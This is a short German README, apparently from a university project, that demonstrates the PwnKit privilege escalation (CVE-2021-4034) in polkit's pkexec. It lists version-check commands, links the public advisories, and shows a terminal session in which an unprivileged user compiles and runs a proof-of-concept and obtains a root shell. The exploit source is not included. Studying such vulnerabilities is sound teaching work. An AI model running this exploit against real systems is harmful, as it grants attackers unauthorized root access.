
Universitätskurs über Softwareschwachstellen und deren Behebung, der die Ausnutzung und Abhilfe dieser Schwachstelle demonstriert.
Universitätsprojekt zu Softwareschwachstellen und -minderung, um die Ausnutzung und Behebung dieser Schwachstelle zu zeigen. Wir verwendeten für dieses Experiment Ubuntu Version 16.04 LTS sowie Debian 10.1.0, was im Experiment gezeigt wird. Die Einrichtung der Umgebung war wesentlich, da Sie immer die Version überprüfen müssen, mit der Sie arbeiten, um sicherzustellen, ob sie anfällig ist oder nicht. Verwendete Überprüfungsbefehle: dpkg -l | grep polkit, pkexec --version
PoC für PwnKit: Lokale Privilegienausweitung-Schwachstelle in polkit's pkexec (CVE-2021-4034)
https://seclists.org/oss-sec/2022/q1/80
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
Verifiziert auf Debian 10 und Ubuntu 16.0.4
user@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
user@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)